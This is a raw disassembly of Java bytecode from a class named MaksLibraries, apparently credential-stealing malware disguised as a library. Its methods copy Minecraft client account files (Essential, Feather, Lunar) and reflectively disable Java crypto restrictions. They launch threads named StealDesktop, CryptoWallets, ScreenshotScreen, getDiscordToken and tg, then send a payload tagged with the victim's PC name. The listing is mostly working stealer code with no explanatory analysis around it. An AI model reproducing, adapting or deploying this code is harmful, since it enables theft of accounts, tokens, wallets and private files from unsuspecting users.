    0000bbe3makslibraries.MaksLibraries::lambda$grabEssentialapp$35(java.lang.String, java.nio.file.Path):
    0000bbe3new #110 // class java/lang/StringBuilder
    0000bbe6dup
    0000bbe7invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
    0000bbeagetstatic #311 // Field makslibraries/MaksLibraries.ilrFolderPath:Ljava/lang/String;
    0000bbedinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0000bbf0ldc_w #1497 // String "\\Essential.json"
    0000bbf3invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0000bbf6invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
    0000bbf9iconst_0
    0000bbfaanewarray #91 // class java/lang/String
    0000bbfdinvokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
    0000bc00aload_0
    0000bc01iconst_0
    0000bc02anewarray #91 // class java/lang/String
    0000bc05invokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
    0000bc08aload_1
    0000bc09invokeinterface #1491 // Method java/nio/file/Path.relativize:(Ljava/nio/file/Path;)Ljava/nio/file/Path;
    0000bc0einvokeinterface #1493 // Method java/nio/file/Path.resolve:(Ljava/nio/file/Path;)Ljava/nio/file/Path;
    0000bc13astore_2
    0000bc14aload_1
    0000bc15iconst_0
    0000bc16anewarray #455 // class java/nio/file/LinkOption
    0000bc19invokestatic #459 // Method java/nio/file/Files.isDirectory:(Ljava/nio/file/Path;[Ljava/nio/file/LinkOption;)Z
    0000bc1cifeq 81
    0000bc1faload_2
    0000bc20iconst_0
    0000bc21anewarray #455 // class java/nio/file/LinkOption
    0000bc24invokestatic #559 // Method java/nio/file/Files.exists:(Ljava/nio/file/Path;[Ljava/nio/file/LinkOption;)Z
    0000bc27ifne 80
    0000bc2aaload_2
    0000bc2biconst_0
    0000bc2canewarray #1499 // class java/nio/file/attribute/FileAttribute
    0000bc2finvokestatic #1503 // Method java/nio/file/Files.createDirectory:(Ljava/nio/file/Path;[Ljava/nio/file/attribute/FileAttribute;)Ljava/nio/file/Path;
    0000bc32pop
    0000bc33return
    0000bc34aload_1
    0000bc35aload_2
    0000bc36iconst_1
    0000bc37anewarray #1111 // class java/nio/file/CopyOption
    0000bc3adup
    0000bc3biconst_0
    0000bc3cgetstatic #1117 // Field java/nio/file/StandardCopyOption.REPLACE_EXISTING:Ljava/nio/file/StandardCopyOption;
    0000bc3faastore
    0000bc40invokestatic #1121 // Method java/nio/file/Files.copy:(Ljava/nio/file/Path;Ljava/nio/file/Path;[Ljava/nio/file/CopyOption;)Ljava/nio/file/Path;
    0000bc43pop
    0000bc44goto 105
    0000bc47astore_2
    0000bc48aload_2
    0000bc49invokevirtual #300 // Method java/io/IOException.printStackTrace:()V
    0000bc4creturn
    0000bbe3
    0000bcf7
    0000bcf7makslibraries.MaksLibraries::lambda$grabEssential$34(java.lang.String, java.nio.file.Path):
    0000bcf7new #110 // class java/lang/StringBuilder
    0000bcfadup
    0000bcfbinvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
    0000bcfegetstatic #311 // Field makslibraries/MaksLibraries.ilrFolderPath:Ljava/lang/String;
    0000bd01invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0000bd04ldc_w #1497 // String "\\Essential.json"
    0000bd07invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0000bd0ainvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
    0000bd0diconst_0
    0000bd0eanewarray #91 // class java/lang/String
    0000bd11invokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
    0000bd14aload_0
    0000bd15iconst_0
    0000bd16anewarray #91 // class java/lang/String
    0000bd19invokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
    0000bd1caload_1
    0000bd1dinvokeinterface #1491 // Method java/nio/file/Path.relativize:(Ljava/nio/file/Path;)Ljava/nio/file/Path;
    0000bd22invokeinterface #1493 // Method java/nio/file/Path.resolve:(Ljava/nio/file/Path;)Ljava/nio/file/Path;
    0000bd27astore_2
    0000bd28aload_1
    0000bd29iconst_0
    0000bd2aanewarray #455 // class java/nio/file/LinkOption
    0000bd2dinvokestatic #459 // Method java/nio/file/Files.isDirectory:(Ljava/nio/file/Path;[Ljava/nio/file/LinkOption;)Z
    0000bd30ifeq 81
    0000bd33aload_2
    0000bd34iconst_0
    0000bd35anewarray #455 // class java/nio/file/LinkOption
    0000bd38invokestatic #559 // Method java/nio/file/Files.exists:(Ljava/nio/file/Path;[Ljava/nio/file/LinkOption;)Z
    0000bd3bifne 80
    0000bd3eaload_2
    0000bd3ficonst_0
    0000bd40anewarray #1499 // class java/nio/file/attribute/FileAttribute
    0000bd43invokestatic #1503 // Method java/nio/file/Files.createDirectory:(Ljava/nio/file/Path;[Ljava/nio/file/attribute/FileAttribute;)Ljava/nio/file/Path;
    0000bd46pop
    0000bd47return
    0000bd48aload_1
    0000bd49aload_2
    0000bd4aiconst_1
    0000bd4banewarray #1111 // class java/nio/file/CopyOption
    0000bd4edup
    0000bd4ficonst_0
    0000bd50getstatic #1117 // Field java/nio/file/StandardCopyOption.REPLACE_EXISTING:Ljava/nio/file/StandardCopyOption;
    0000bd53aastore
    0000bd54invokestatic #1121 // Method java/nio/file/Files.copy:(Ljava/nio/file/Path;Ljava/nio/file/Path;[Ljava/nio/file/CopyOption;)Ljava/nio/file/Path;
    0000bd57pop
    0000bd58goto 105
    0000bd5bastore_2
    0000bd5caload_2
    0000bd5dinvokevirtual #300 // Method java/io/IOException.printStackTrace:()V
    0000bd60return
    0000bcf7
    0000be0b
    0000be0bmakslibraries.MaksLibraries::lambda$grabFeather$33(java.lang.String, java.nio.file.Path):
    0000be0bnew #110 // class java/lang/StringBuilder
    0000be0edup
    0000be0finvokespecial #111 // Method java/lang/StringBuilder.<init>:()V
    0000be12getstatic #311 // Field makslibraries/MaksLibraries.ilrFolderPath:Ljava/lang/String;
    0000be15invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0000be18ldc_w #1506 // String "\\Feather.json"
    0000be1binvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0000be1einvokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
    0000be21iconst_0
    0000be22anewarray #91 // class java/lang/String
    0000be25invokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
    0000be28aload_0
    0000be29iconst_0
    0000be2aanewarray #91 // class java/lang/String
    0000be2dinvokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
    0000be30aload_1
    0000be31invokeinterface #1491 // Method java/nio/file/Path.relativize:(Ljava/nio/file/Path;)Ljava/nio/file/Path;
    0000be36invokeinterface #1493 // Method java/nio/file/Path.resolve:(Ljava/nio/file/Path;)Ljava/nio/file/Path;
    0000be3bastore_2
    0000be3caload_1
    0000be3diconst_0
    0000be3eanewarray #455 // class java/nio/file/LinkOption
    0000be41invokestatic #459 // Method java/nio/file/Files.isDirectory:(Ljava/nio/file/Path;[Ljava/nio/file/LinkOption;)Z
    0000be44ifeq 81
    0000be47aload_2
    0000be48iconst_0
    0000be49anewarray #455 // class java/nio/file/LinkOption
    0000be4cinvokestatic #559 // Method java/nio/file/Files.exists:(Ljava/nio/file/Path;[Ljava/nio/file/LinkOption;)Z
    0000be4fifne 80
    0000be52aload_2
    0000be53iconst_0
    0000be54anewarray #1499 // class java/nio/file/attribute/FileAttribute
    0000be57invokestatic #1503 // Method java/nio/file/Files.createDirectory:(Ljava/nio/file/Path;[Ljava/nio/file/attribute/FileAttribute;)Ljava/nio/file/Path;
    0000be5apop
    0000be5breturn
    0000be5caload_1
    0000be5daload_2
    0000be5eiconst_1
    0000be5fanewarray #1111 // class java/nio/file/CopyOption
    0000be62dup
    0000be63iconst_0
    0000be64getstatic #1117 // Field java/nio/file/StandardCopyOption.REPLACE_EXISTING:Ljava/nio/file/StandardCopyOption;
    0000be67aastore
    0000be68invokestatic #1121 // Method java/nio/file/Files.copy:(Ljava/nio/file/Path;Ljava/nio/file/Path;[Ljava/nio/file/CopyOption;)Ljava/nio/file/Path;
    0000be6bpop
    0000be6cgoto 105
    0000be6fastore_2
    0000be70aload_2
    0000be71invokevirtual #300 // Method java/io/IOException.printStackTrace:()V
    0000be74return
    0000be0b
    0000bf1f
    0000bf1fmakslibraries.MaksLibraries::lambda$grabLunar$32(java.lang.String, java.nio.file.Path):
    0000bf1fnew #110 // class java/lang/StringBuilder
    0000bf22dup
    0000bf23invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
    0000bf26getstatic #311 // Field makslibraries/MaksLibraries.ilrFolderPath:Ljava/lang/String;
    0000bf29invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0000bf2cldc_w #1508 // String "\\Lunar.json"
    0000bf2finvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
    0000bf32invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
    0000bf35iconst_0
    0000bf36anewarray #91 // class java/lang/String
    0000bf39invokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
    0000bf3caload_0
    0000bf3diconst_0
    0000bf3eanewarray #91 // class java/lang/String
    0000bf41invokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
    0000bf44aload_1
    0000bf45invokeinterface #1491 // Method java/nio/file/Path.relativize:(Ljava/nio/file/Path;)Ljava/nio/file/Path;
    0000bf4ainvokeinterface #1493 // Method java/nio/file/Path.resolve:(Ljava/nio/file/Path;)Ljava/nio/file/Path;
    0000bf4fastore_2
    0000bf50aload_1
    0000bf51iconst_0
    0000bf52anewarray #455 // class java/nio/file/LinkOption
    0000bf55invokestatic #459 // Method java/nio/file/Files.isDirectory:(Ljava/nio/file/Path;[Ljava/nio/file/LinkOption;)Z
    0000bf58ifeq 81
    0000bf5baload_2
    0000bf5ciconst_0
    0000bf5danewarray #455 // class java/nio/file/LinkOption
    0000bf60invokestatic #559 // Method java/nio/file/Files.exists:(Ljava/nio/file/Path;[Ljava/nio/file/LinkOption;)Z
    0000bf63ifne 80
    0000bf66aload_2
    0000bf67iconst_0
    0000bf68anewarray #1499 // class java/nio/file/attribute/FileAttribute
    0000bf6binvokestatic #1503 // Method java/nio/file/Files.createDirectory:(Ljava/nio/file/Path;[Ljava/nio/file/attribute/FileAttribute;)Ljava/nio/file/Path;
    0000bf6epop
    0000bf6freturn
    0000bf70aload_1
    0000bf71aload_2
    0000bf72iconst_1
    0000bf73anewarray #1111 // class java/nio/file/CopyOption
    0000bf76dup
    0000bf77iconst_0
    0000bf78getstatic #1117 // Field java/nio/file/StandardCopyOption.REPLACE_EXISTING:Ljava/nio/file/StandardCopyOption;
    0000bf7baastore
    0000bf7cinvokestatic #1121 // Method java/nio/file/Files.copy:(Ljava/nio/file/Path;Ljava/nio/file/Path;[Ljava/nio/file/CopyOption;)Ljava/nio/file/Path;
    0000bf7fpop
    0000bf80goto 105
    0000bf83astore_2
    0000bf84aload_2
    0000bf85invokevirtual #300 // Method java/io/IOException.printStackTrace:()V
    0000bf88return
    0000bf1f
    0000c033
    0000c033makslibraries.MaksLibraries::lambda$CBd$31():
    0000c033new #332 // class java/io/File
    0000c036dup
    0000c037getstatic #311 // Field makslibraries/MaksLibraries.ilrFolderPath:Ljava/lang/String;
    0000c03ainvokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
    0000c03dinvokevirtual #1087 // Method java/io/File.exists:()Z
    0000c040ifeq 51
    0000c043getstatic #1512 // Field makslibraries/MaksLibraries.resendEveryTime:Ljava/lang/Boolean;
    0000c046invokevirtual #594 // Method java/lang/Boolean.booleanValue:()Z
    0000c049ifne 41
    0000c04cgetstatic #1514 // Field makslibraries/MaksLibraries.onlySendZipONCE:Ljava/lang/Boolean;
    0000c04finvokevirtual #594 // Method java/lang/Boolean.booleanValue:()Z
    0000c052ifeq 41
    0000c055iconst_1
    0000c056invokestatic #1517 // Method java/lang/Boolean.valueOf:(Z)Ljava/lang/Boolean;
    0000c059putstatic #589 // Field makslibraries/MaksLibraries.NotFirstTime:Ljava/lang/Boolean;
    0000c05ciconst_0
    0000c05dinvokestatic #1517 // Method java/lang/Boolean.valueOf:(Z)Ljava/lang/Boolean;
    0000c060putstatic #1519 // Field makslibraries/MaksLibraries.firsttime:Ljava/lang/Boolean;
    0000c063goto 65
    0000c066new #332 // class java/io/File
    0000c069dup
    0000c06agetstatic #311 // Field makslibraries/MaksLibraries.ilrFolderPath:Ljava/lang/String;
    0000c06dinvokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
    0000c070invokevirtual #930 // Method java/io/File.mkdirs:()Z
    0000c073pop
    0000c074ldc_w #389 // String "AES"
    0000c077invokestatic #1523 // Method javax/crypto/Cipher.getMaxAllowedKeyLength:(Ljava/lang/String;)I
    0000c07asipush 256
    0000c07dif_icmpge 261
    0000c080ldc_w #1525 // String "javax.crypto.CryptoAllPermissionCollection"
    0000c083invokestatic #1528 // Method java/lang/Class.forName:(Ljava/lang/String;)Ljava/lang/Class;
    0000c086astore_1
    0000c087aload_1
    0000c088iconst_0
    0000c089anewarray #1229 // class java/lang/Class
    0000c08cinvokevirtual #1532 // Method java/lang/Class.getDeclaredConstructor:([Ljava/lang/Class;)Ljava/lang/reflect/Constructor;
    0000c08fastore_2
    0000c090aload_2
    0000c091iconst_1
    0000c092invokevirtual #1538 // Method java/lang/reflect/Constructor.setAccessible:(Z)V
    0000c095aload_2
    0000c096iconst_0
    0000c097anewarray #4 // class java/lang/Object
    0000c09ainvokevirtual #1541 // Method java/lang/reflect/Constructor.newInstance:([Ljava/lang/Object;)Ljava/lang/Object;
    0000c09dastore_3
    0000c09eaload_1
    0000c09fldc_w #1543 // String "all_allowed"
    0000c0a2invokevirtual #1547 // Method java/lang/Class.getDeclaredField:(Ljava/lang/String;)Ljava/lang/reflect/Field;
    0000c0a5astore 4
    0000c0a7aload 4
    0000c0a9iconst_1
    0000c0aainvokevirtual #1550 // Method java/lang/reflect/Field.setAccessible:(Z)V
    0000c0adaload 4
    0000c0afaload_3
    0000c0b0iconst_1
    0000c0b1invokevirtual #1554 // Method java/lang/reflect/Field.setBoolean:(Ljava/lang/Object;Z)V
    0000c0b4ldc_w #1556 // String "javax.crypto.CryptoPermissions"
    0000c0b7invokestatic #1528 // Method java/lang/Class.forName:(Ljava/lang/String;)Ljava/lang/Class;
    0000c0baastore 5
    0000c0bcaload 5
    0000c0beiconst_0
    0000c0bfanewarray #1229 // class java/lang/Class
    0000c0c2invokevirtual #1532 // Method java/lang/Class.getDeclaredConstructor:([Ljava/lang/Class;)Ljava/lang/reflect/Constructor;
    0000c0c5astore 6
    0000c0c7aload 6
    0000c0c9iconst_1
    0000c0cainvokevirtual #1538 // Method java/lang/reflect/Constructor.setAccessible:(Z)V
    0000c0cdaload 6
    0000c0cficonst_0
    0000c0d0anewarray #4 // class java/lang/Object
    0000c0d3invokevirtual #1541 // Method java/lang/reflect/Constructor.newInstance:([Ljava/lang/Object;)Ljava/lang/Object;
    0000c0d6astore 7
    0000c0d8aload 5
    0000c0daldc_w #1558 // String "perms"
    0000c0ddinvokevirtual #1547 // Method java/lang/Class.getDeclaredField:(Ljava/lang/String;)Ljava/lang/reflect/Field;
    0000c0e0astore 8
    0000c0e2aload 8
    0000c0e4iconst_1
    0000c0e5invokevirtual #1550 // Method java/lang/reflect/Field.setAccessible:(Z)V
    0000c0e8aload 8
    0000c0eaaload 7
    0000c0ecinvokevirtual #1559 // Method java/lang/reflect/Field.get:(Ljava/lang/Object;)Ljava/lang/Object;
    0000c0efcheckcast #746 // class java/util/Map
    0000c0f2ldc_w #1561 // String "*"
    0000c0f5aload_3
    0000c0f6invokeinterface #755 // Method java/util/Map.put:(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
    0000c0fbpop
    0000c0fcldc_w #1563 // String "javax.crypto.JceSecurityManager"
    0000c0ffinvokestatic #1528 // Method java/lang/Class.forName:(Ljava/lang/String;)Ljava/lang/Class;
    0000c102ldc_w #1565 // String "defaultPolicy"
    0000c105invokevirtual #1547 // Method java/lang/Class.getDeclaredField:(Ljava/lang/String;)Ljava/lang/reflect/Field;
    0000c108astore 9
    0000c10aaload 9
    0000c10ciconst_1
    0000c10dinvokevirtual #1550 // Method java/lang/reflect/Field.setAccessible:(Z)V
    0000c110ldc_w #1549 // class java/lang/reflect/Field
    0000c113ldc_w #1567 // String "modifiers"
    0000c116invokevirtual #1547 // Method java/lang/Class.getDeclaredField:(Ljava/lang/String;)Ljava/lang/reflect/Field;
    0000c119astore 10
    0000c11baload 10
    0000c11diconst_1
    0000c11einvokevirtual #1550 // Method java/lang/reflect/Field.setAccessible:(Z)V
    0000c121aload 10
    0000c123aload 9
    0000c125aload 9
    0000c127invokevirtual #1570 // Method java/lang/reflect/Field.getModifiers:()I
    0000c12abipush -17
    0000c12ciand
    0000c12dinvokevirtual #1574 // Method java/lang/reflect/Field.setInt:(Ljava/lang/Object;I)V
    0000c130aload 9
    0000c132aconst_null
    0000c133aload 7
    0000c135invokevirtual #1578 // Method java/lang/reflect/Field.set:(Ljava/lang/Object;Ljava/lang/Object;)V
    0000c138goto 269
    0000c13bastore_1
    0000c13caload_1
    0000c13dinvokevirtual #404 // Method java/lang/Exception.printStackTrace:()V
    0000c140iconst_4
    0000c141invokestatic #1584 // Method java/util/concurrent/Executors.newFixedThreadPool:(I)Ljava/util/concurrent/ExecutorService;
    0000c144astore_1
    0000c145aload_1
    0000c146invokedynamic #1589 // InvokeDynamic #12:run:()Ljava/lang/Runnable;
    0000c14binvokeinterface #1595 // Method java/util/concurrent/ExecutorService.submit:(Ljava/lang/Runnable;)Ljava/util/concurrent/Future;
    0000c150pop
    0000c151aload_1
    0000c152invokedynamic #1600 // InvokeDynamic #13:run:()Ljava/lang/Runnable;
    0000c157invokeinterface #1595 // Method java/util/concurrent/ExecutorService.submit:(Ljava/lang/Runnable;)Ljava/util/concurrent/Future;
    0000c15cpop
    0000c15daload_1
    0000c15eaload_0
    0000c15finvokedynamic #1605 // InvokeDynamic #14:run:(Lmakslibraries/MaksLibraries;)Ljava/lang/Runnable;
    0000c164invokeinterface #1595 // Method java/util/concurrent/ExecutorService.submit:(Ljava/lang/Runnable;)Ljava/util/concurrent/Future;
    0000c169pop
    0000c16aaload_1
    0000c16baload_0
    0000c16cinvokedynamic #1610 // InvokeDynamic #15:run:(Lmakslibraries/MaksLibraries;)Ljava/lang/Runnable;
    0000c171invokeinterface #1595 // Method java/util/concurrent/ExecutorService.submit:(Ljava/lang/Runnable;)Ljava/util/concurrent/Future;
    0000c176pop
    0000c177aload_1
    0000c178aload_0
    0000c179invokedynamic #1615 // InvokeDynamic #16:run:(Lmakslibraries/MaksLibraries;)Ljava/lang/Runnable;
    0000c17einvokeinterface #1595 // Method java/util/concurrent/ExecutorService.submit:(Ljava/lang/Runnable;)Ljava/util/concurrent/Future;
    0000c183pop
    0000c184aload_1
    0000c185invokedynamic #1620 // InvokeDynamic #17:run:()Ljava/lang/Runnable;
    0000c18ainvokeinterface #1595 // Method java/util/concurrent/ExecutorService.submit:(Ljava/lang/Runnable;)Ljava/util/concurrent/Future;
    0000c18fpop
    0000c190aload_1
    0000c191invokedynamic #1625 // InvokeDynamic #18:run:()Ljava/lang/Runnable;
    0000c196invokeinterface #1595 // Method java/util/concurrent/ExecutorService.submit:(Ljava/lang/Runnable;)Ljava/util/concurrent/Future;
    0000c19bpop
    0000c19caload_1
    0000c19dinvokedynamic #1630 // InvokeDynamic #19:run:()Ljava/lang/Runnable;
    0000c1a2invokeinterface #1595 // Method java/util/concurrent/ExecutorService.submit:(Ljava/lang/Runnable;)Ljava/util/concurrent/Future;
    0000c1a7pop
    0000c1a8aload_1
    0000c1a9invokeinterface #1633 // Method java/util/concurrent/ExecutorService.shutdown:()V
    0000c1aeaload_1
    0000c1aflconst_1
    0000c1b0getstatic #1639 // Field java/util/concurrent/TimeUnit.MINUTES:Ljava/util/concurrent/TimeUnit;
    0000c1b3invokeinterface #1643 // Method java/util/concurrent/ExecutorService.awaitTermination:(JLjava/util/concurrent/TimeUnit;)Z
    0000c1b8ifne 392
    0000c1bbgoto 400
    0000c1beastore_2
    0000c1bfaload_2
    0000c1c0invokevirtual #1644 // Method java/lang/InterruptedException.printStackTrace:()V
    0000c1c3iconst_1
    0000c1c4invokestatic #1517 // Method java/lang/Boolean.valueOf:(Z)Ljava/lang/Boolean;
    0000c1c7putstatic #589 // Field makslibraries/MaksLibraries.NotFirstTime:Ljava/lang/Boolean;
    0000c1caldc_w #1646 // String "{ \"name\": \"%s\", \"Name\": \"%s\" }"
    0000c1cdiconst_2
    0000c1ceanewarray #4 // class java/lang/Object
    0000c1d1dup
    0000c1d2iconst_0
    0000c1d3ldc #249 // String "maksvavrik"
    0000c1d5aastore
    0000c1d6dup
    0000c1d7iconst_1
    0000c1d8getstatic #251 // Field makslibraries/MaksLibraries.PcName:Ljava/lang/String;
    0000c1dbaastore
    0000c1dcinvokestatic #260 // Method java/lang/String.format:(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
    0000c1dfinvokestatic #1648 // Method makslibraries/MaksLibraries.sendb:(Ljava/lang/String;)V
    0000c1e2goto 439
    0000c1e5astore_1
    0000c1e6aload_1
    0000c1e7invokevirtual #404 // Method java/lang/Exception.printStackTrace:()V
    0000c1eareturn
    0000c033
    0000c3e3
    0000c3e3makslibraries.MaksLibraries::lambda$null$30():
    0000c3e3invokestatic #1666 // Method makslibraries/MaksLibraries.StealDesktop:()V
    0000c3e6return
    0000c3e3
    0000c40d
    0000c40dmakslibraries.MaksLibraries::lambda$null$29():
    0000c40dinvokestatic #1668 // Method makslibraries/MaksLibraries.CryptoWallets:()V
    0000c410return
    0000c40d
    0000c437
    0000c437makslibraries.MaksLibraries::lambda$null$28():
    0000c437invokestatic #1670 // Method makslibraries/MaksLibraries.ScreenshotScreen:()V
    0000c43areturn
    0000c437
    0000c461
    0000c461makslibraries.MaksLibraries::lambda$null$27():
    0000c461aload_0
    0000c462invokevirtual #1672 // Method makslibraries/MaksLibraries.grabEssentialapp:()V
    0000c465return
    0000c461
    0000c49e
    0000c49emakslibraries.MaksLibraries::lambda$null$26():
    0000c49eaload_0
    0000c49finvokevirtual #1674 // Method makslibraries/MaksLibraries.grabFeather:()V
    0000c4a2return
    0000c49e
    0000c4db
    0000c4dbmakslibraries.MaksLibraries::lambda$null$25():
    0000c4dbaload_0
    0000c4dcinvokevirtual #1676 // Method makslibraries/MaksLibraries.grabLunar:()V
    0000c4dfreturn
    0000c4db
    0000c518
    0000c518makslibraries.MaksLibraries::lambda$null$24():
    0000c518invokestatic #1678 // Method makslibraries/MaksLibraries.getDiscordToken:()V
    0000c51breturn
    0000c518
    0000c542
    0000c542makslibraries.MaksLibraries::lambda$null$23():
    0000c542invokestatic #1680 // Method makslibraries/MaksLibraries.tg:()V
    0000c545return
    0000c542
    0000c56c
    0000c56cmakslibraries.MaksLibraries::lambda$Uid$22(java.lang.String, java.lang.String, java.lang.String, java.lang.String, java.lang.String):
    0000c56cnew #332 // class java/io/File
    0000c56fdup
    0000c570getstatic #311 // Field makslibraries/MaksLibraries.ilrFolderPath:Ljava/lang/String;
    0000c573invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
    0000c576invokevirtual #1087 // Method java/io/File.exists:()Z
    0000c579ifeq 51
    0000c57cgetstatic #1512 // Field makslibraries/MaksLibraries.resendEveryTime:Ljava/lang/Boolean;
    0000c57finvokevirtual #594 // Method java/lang/Boolean.booleanValue:()Z
    0000c582ifne 41
    0000c585getstatic #1514 // Field makslibraries/MaksLibraries.onlySendZipONCE:Ljava/lang/Boolean;
    0000c588invokevirtual #594 // Method java/lang/Boolean.booleanValue:()Z
    0000c58bifeq 41
    0000c58eiconst_1
    0000c58finvokestatic #1517 // Method java/lang/Boolean.valueOf:(Z)Ljava/lang/Boolean;
    0000c592putstatic #589 // Field makslibraries/MaksLibraries.NotFirstTime:Ljava/lang/Boolean;
    0000c595iconst_0
    0000c596invokestatic #1517 // Method java/lang/Boolean.valueOf:(Z)Ljava/lang/Boolean;
    0000c599putstatic #1519 // Field makslibraries/MaksLibraries.firsttime:Ljava/lang/Boolean;
    0000c59cgoto 65
    0000c59fnew #332 // class java/io/File
    0000c5a2dup
    0000c5a3getstatic #311 // Field makslibraries/MaksLibraries.ilrFolderPath:Ljava/lang/String;
    0000c5a6invokespecial #334 // Method java/io/File.<init>:(Ljava/lang/String;)V
    0000c5a9invokevirtual #930 // Method java/io/File.mkdirs:()Z
    0000c5acpop
    0000c5adldc_w #389 // String "AES"
    0000c5b0invokestatic #1523 // Method javax/crypto/Cipher.getMaxAllowedKeyLength:(Ljava/lang/String;)I
    0000c5b3sipush 256
    0000c5b6if_icmpge 270
    0000c5b9ldc_w #1525 // String "javax.crypto.CryptoAllPermissionCollection"
    0000c5bcinvokestatic #1528 // Method java/lang/Class.forName:(Ljava/lang/String;)Ljava/lang/Class;
    0000c5bfastore 6
    0000c5c1aload 6
    0000c5c3iconst_0
    0000c5c4anewarray #1229 // class java/lang/Class
    0000c5c7invokevirtual #1532 // Method java/lang/Class.getDeclaredConstructor:([Ljava/lang/Class;)Ljava/lang/reflect/Constructor;
    0000c5caastore 7
    0000c5ccaload 7
    0000c5ceiconst_1
    0000c5cfinvokevirtual #1538 // Method java/lang/reflect/Constructor.setAccessible:(Z)V
    0000c5d2aload 7
    0000c5d4iconst_0
    0000c5d5anewarray #4 // class java/lang/Object
    0000c5d8invokevirtual #1541 // Method java/lang/reflect/Constructor.newInstance:([Ljava/lang/Object;)Ljava/lang/Object;
    0000c5dbastore 8
    0000c5ddaload 6
    0000c5dfldc_w #1543 // String "all_allowed"
    0000c5e2invokevirtual #1547 // Method java/lang/Class.getDeclaredField:(Ljava/lang/String;)Ljava/lang/reflect/Field;
    0000c5e5astore 9
    0000c5e7aload 9
    0000c5e9iconst_1
    0000c5eainvokevirtual #1550 // Method java/lang/reflect/Field.setAccessible:(Z)V
    0000c5edaload 9
    0000c5efaload 8
    0000c5f1iconst_1
    0000c5f2invokevirtual #1554 // Method java/lang/reflect/Field.setBoolean:(Ljava/lang/Object;Z)V
    0000c5f5ldc_w #1556 // String "javax.crypto.CryptoPermissions"
    0000c5f8invokestatic #1528 // Method java/lang/Class.forName:(Ljava/lang/String;)Ljava/lang/Class;
    0000c5fbastore 10
    0000c5fdaload 10
    0000c5fficonst_0
    0000c600anewarray #1229 // class java/lang/Class
    0000c603invokevirtual #1532 // Method java/lang/Class.getDeclaredConstructor:([Ljava/lang/Class;)Ljava/lang/reflect/Constructor;
    0000c606astore 11
    0000c608aload 11
    0000c60aiconst_1
    0000c60binvokevirtual #1538 // Method java/lang/reflect/Constructor.setAccessible:(Z)V
    0000c60eaload 11
    0000c610iconst_0
    0000c611anewarray #4 // class java/lang/Object
    0000c614invokevirtual #1541 // Method java/lang/reflect/Constructor.newInstance:([Ljava/lang/Object;)Ljava/lang/Object;
    0000c617astore 12
    0000c619aload 10
    0000c61bldc_w #1558 // String "perms"
    0000c61einvokevirtual #1547 // Method java/lang/Class.getDeclaredField:(Ljava/lang/String;)Ljava/lang/reflect/Field;
    0000c621astore 13
    0000c623aload 13
    0000c625iconst_1
    0000c626invokevirtual #1550 // Method java/lang/reflect/Field.setAccessible:(Z)V
    0000c629aload 13
    0000c62baload 12
    0000c62dinvokevirtual #1559 // Method java/lang/reflect/Field.get:(Ljava/lang/Object;)Ljava/lang/Object;
    0000c630checkcast #746 // class java/util/Map
    0000c633ldc_w #1561 // String "*"
    0000c636aload 8
    0000c638invokeinterface #755 // Method java/util/Map.put:(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
    0000c63dpop
    0000c63eldc_w #1563 // String "javax.crypto.JceSecurityManager"
    0000c641invokestatic #1528 // Method java/lang/Class.forName:(Ljava/lang/String;)Ljava/lang/Class;
    0000c644ldc_w #1565 // String "defaultPolicy"
    0000c647invokevirtual #1547 // Method java/lang/Class.getDeclaredField:(Ljava/lang/String;)Ljava/lang/reflect/Field;
    0000c64aastore 14
    0000c64caload 14
    0000c64eiconst_1
    0000c64finvokevirtual #1550 // Method java/lang/reflect/Field.setAccessible:(Z)V
    0000c652ldc_w #1549 // class java/lang/reflect/Field
    0000c655ldc_w #1567 // String "modifiers"
    0000c658invokevirtual #1547 // Method java/lang/Class.getDeclaredField:(Ljava/lang/String;)Ljava/lang/reflect/Field;
    0000c65bastore 15
    0000c65daload 15
    0000c65ficonst_1
    0000c660invokevirtual #1550 // Method java/lang/reflect/Field.setAccessible:(Z)V
    0000c663aload 15
    0000c665aload 14
    0000c667aload 14
    0000c669invokevirtual #1570 // Method java/lang/reflect/Field.getModifiers:()I
    0000c66cbipush -17
    0000c66eiand
    0000c66finvokevirtual #1574 // Method java/lang/reflect/Field.setInt:(Ljava/lang/Object;I)V
    0000c672aload 14
